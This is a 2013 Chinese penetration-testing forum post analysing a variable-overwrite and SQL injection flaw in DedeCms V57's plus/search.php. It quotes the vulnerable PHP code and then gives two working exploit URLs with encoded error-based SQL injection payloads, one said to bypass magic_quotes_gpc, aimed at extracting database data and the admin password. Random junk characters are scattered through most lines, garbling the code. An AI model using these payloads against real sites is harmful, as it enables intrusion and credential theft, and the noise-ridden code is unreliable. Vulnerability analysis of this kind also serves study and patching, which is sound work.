中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
1 `0 ]6 c' x/ c5 |作者: c4rp3nt3r@0x50sec.org
# o  Q  O% W* s% W8 o3 l3 iDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.% }2 Q. z& ?+ ~4 a1 o0 o" Z- i

8 {. z/ H9 F3 s% @) K黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.8 G* Z+ Q; R8 C: m5 b8 N7 P# e1 H

" Z" S' h- g/ r" i2 S- u' y8 V' n============0 l, e- A' {# V( C+ \/ `

) D- E. t: w, c% i9 `5 t " g' W: N6 U5 U* L) z1 f  w  h. q
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 y1 x& x5 a' G. S! M  N
9 f% r1 y* g+ k# |( u+ xrequire_once(dirname(__FILE__).”/../include/common.inc.php”);- |( o4 t2 o2 Z5 t; P- t4 v) c
require_once(DEDEINC.”/arc.searchview.class.php”);  ]3 L! G# a( D" B

' e4 b' P$ K* Y+ G) @$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;3 D0 Q8 ?, P7 z$ ~2 u  w
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
2 k: P, ~( J3 r% Q$ M; I# h  G$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;5 ~. p/ [" u" ?9 s4 F! b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;. a2 Z0 J% [+ [& c
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;# T5 Z1 h/ v; z9 G  o5 W
( v4 Q) \; n% X) ]- R  h0 E
if(!isset($orderby)) $orderby=”;& z. n, p2 Z4 ~4 E
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
7 m/ K7 ?8 z0 Q) O# Q8 z  _6 e1 M0 _ - k' r# Q& B1 K$ t/ `9 h  h

3 K  A" F" ?0 T3 T7 ]; @% tif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
, d/ m- k( h" l) eelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);/ O5 E/ W& U" h$ E3 f/ D2 l

/ x* G1 g' E% L( Q* |( a0 S# Mif(!isset($keyword)){$ u% q0 d, ^  a" V; s5 h8 R
    if(!isset($q)) $q = ”;
: N- @4 o7 P' G  l  V* P6 c    $keyword=$q;# B+ b8 O  C5 C) B$ R6 {4 P
}! V/ \6 R7 \8 \: V

4 y0 }/ L/ F! K" W! \& Q$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));9 T0 t3 x) s2 G' e$ W5 `
- C; c' U" F/ q5 V+ @, W: H
//查找栏目信息
8 s! X1 R( s7 ?. ^8 b" K" ]if(empty($typeid))
: U4 P2 q8 ]4 X7 ]0 ~  D- [9 Q{  A. u5 `" T/ W4 y
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
/ }& H" R9 G+ l( n7 D    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )# }/ F* @# j* u" u
    {
  O2 p: r7 }0 K# R! e( ]        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);9 s3 `3 @! d  }& P! z- B/ H+ ^
        fwrite($fp, “<”.”?php\r\n”);
% n( O: A% w  j: }2 E: c        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
* b7 X! m) s" c- p/ V        $dsql->Execute();
  P9 f/ `" ?  t        while($row = $dsql->GetArray())2 U# H2 K( L, k' g8 J
        {* b" J3 b& Z0 \9 J' Q$ o
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
, o, C5 U$ A+ V) r  `) O% m        }
) r; O3 ~: A' d        fwrite($fp, ‘?’.'>’);
# p! r- m" v1 G# @. T  Z+ m        fclose($fp);+ E7 h5 q# j1 F  d) y
    }
" V( n' e/ m! ]( O8 E7 ?' @/ l6 R$ F+ L    //引入栏目缓存并看关键字是否有相关栏目内容
4 }8 E! m( k9 H& G    require_once($typenameCacheFile);
; e: y1 z; n, d//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个" O1 Z! q5 E( z+ ^# V) J' \
//
9 c* ^( {" g0 x+ v9 }2 H7 j    if(isset($typeArr) && is_array($typeArr))) K: Y" @2 M4 H. A4 t
    {( v9 R, R, V0 ]$ A. Y
        foreach($typeArr as $id=>$typename)
8 |8 }( s! p; X        {
) {$ J+ l) X: |& P/ T! Z ! d2 o: F3 K+ m1 Q
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
: \6 H% J6 e  u& T  u            if($keyword != $keywordn)
# x+ r( M) |- `, H+ y& d0 ?            {
/ C1 u9 k$ ?7 ^! x9 L" @                $keyword = $keywordn;
6 D5 w0 I/ v$ w. X( L                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设# J/ {/ m' J8 x9 k/ v
                break;; S. u; J( w; m/ v% k3 x3 g
            }
0 V, L* k- h4 t2 g5 }- `6 c        }6 i# h7 C7 w5 i. ~0 O2 F& f
    }
+ y9 d! Q3 Y7 w}
/ Y" o+ t) g* r: S* y5 Q然后plus/search.php文件下面定义了一个 Search类的对象 .* Z: P4 g; u! K- ?! a2 y- f
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
( b! M4 N3 Z6 R# x  w( G* v$this->TypeLink = new TypeLink($typeid);0 C6 {( o5 Z5 g' D: v

3 f/ I6 w  G2 T, F0 m) G* ATypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
$ F: ?0 s3 R( I0 ^: L
+ n/ u# g4 J% A4 U& zclass TypeLink
7 I5 L! H8 ?. A{
1 m. `$ f; m/ u3 F    var $typeDir;/ c( ~% {  v" z% p( }- a
    var $dsql;
" V% Y  C2 J  A7 j, y+ N    var $TypeID;
% E! c9 i8 }7 Z" ~4 p/ f    var $baseDir;& P# e- Y* T% j3 g& z
    var $modDir;' q6 D; a6 D+ m* L! x
    var $indexUrl;1 l' `0 u: D( x! J! P0 f7 [; D
    var $indexName;2 t) X! @; k7 c$ D+ F7 f* g
    var $TypeInfos;1 P. }* V# Z" z% y/ P, U
    var $SplitSymbol;
* A  c) Z* P# c    var $valuePosition;
& J$ J* C  H; }& A. l' A6 m    var $valuePositionName;
/ l' Y1 t' R9 [: o  ]. g; ~* j    var $OptionArrayList;//构造函数///////
2 C4 Z$ z( d7 z7 D+ {  V. W- ~$ Z    //php5构造函数
4 A2 j* u' K$ u+ P/ p: |& A; r    function __construct($typeid)" x* Z+ m+ e1 t1 A- n1 |$ z
    {: `0 O* J  l7 s4 J. Y3 l! ^  l
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];) c# c7 O# G5 `& l
        $this->indexName = $GLOBALS['cfg_indexname'];7 w9 {  b* c& Z2 P9 e5 Z- i7 M
        $this->baseDir = $GLOBALS['cfg_basedir'];
* c/ E( M% g1 H        $this->modDir = $GLOBALS['cfg_templets_dir'];- k# ^7 m6 m2 m0 C% k4 l. ?* X
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];6 d7 N% T5 c7 e* J9 a7 n
        $this->dsql = $GLOBALS['dsql'];# u! d1 r6 I3 Y* ~3 N
        $this->TypeID = $typeid;
+ s: t: u7 m6 R& A; F& ^% Z        $this->valuePosition = ”;- |+ S6 d  N. }9 ^6 n9 Z
        $this->valuePositionName = ”;0 r& s, f- A6 i- [! I* u# Y
        $this->typeDir = ”;
* V9 t0 X' ?5 H% N3 T- e3 w6 Q        $this->OptionArrayList = ”;
" g# H* s# _( C  w$ I4 c
0 k% t3 `5 M* |        //载入类目信息; f4 \/ _4 |# \+ d  f3 t( C7 t
# }* b+ j' U/ y  ~1 [
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
" V+ l! @7 l6 i" |8 wctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join0 ]4 Y. f$ c8 P( P8 d. _5 x2 ?9 |8 r
`#@__channeltype` ch
) \% Z- n: t% l1 f        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿) g" c5 ^- k, c8 Z5 |6 @7 b) c) [

' m. B; \; a$ a        if($typeid > 0)3 T0 A0 u% k6 p+ ^8 l, Z
        {/ e5 D4 Y* a  }0 p7 p, p/ M
            $this->TypeInfos = $this->dsql->GetOne($query);& [  N) C1 R# x, P$ E: s. {
利用代码一 需要 即使magic_quotes_gpc = Off
3 d* p8 k2 v) [' a$ E+ a0 g) y# R2 a ) X, c1 `  x) c- e: }% D
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
% u. H4 ^+ Z4 }% Y3 M5 c+ v 9 ^, }& E3 t) H5 J) J
这只是其中一个利用代码… Search 类的构造函数再往下, O" n+ Y! w' K& d5 Z
; b" Y4 W9 q9 s( m1 d$ a
……省略
4 q) W/ Z0 v" _$this->TypeID = $typeid;
! W7 }8 c8 u. s- g……省略
6 r! m% s$ |3 L2 ?. Gif($this->TypeID==”0″){4 a, ^/ ]5 ~" p8 e' J
            $this->ChannelTypeid=1;! T5 S; v2 p( S: G4 e" f
        }else{! ?7 j: V. Q& b6 E4 ]! B% U; V6 I
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲* H( @9 {* p1 q( ]. r# q
//现在不鸡肋了吧亲…( e3 x: q2 y! `# s; T3 J
            $this->ChannelTypeid=$row['channeltype'];0 @. g6 o: y0 Q* ~/ F

: \3 K7 Q) e2 T, u7 C1 }) C        }! b5 [, d9 E& F9 q# i0 ?# G
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.7 T5 N( q1 Q  P* W7 N- y

0 S* ~, K8 p! i( h  Swww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title2 T, ]  H7 D% `! l1 }  |8 E

) [+ L- ?: k1 ]- J0 K$ l如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站: r0 _# i# w5 V9 r" s$ W





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2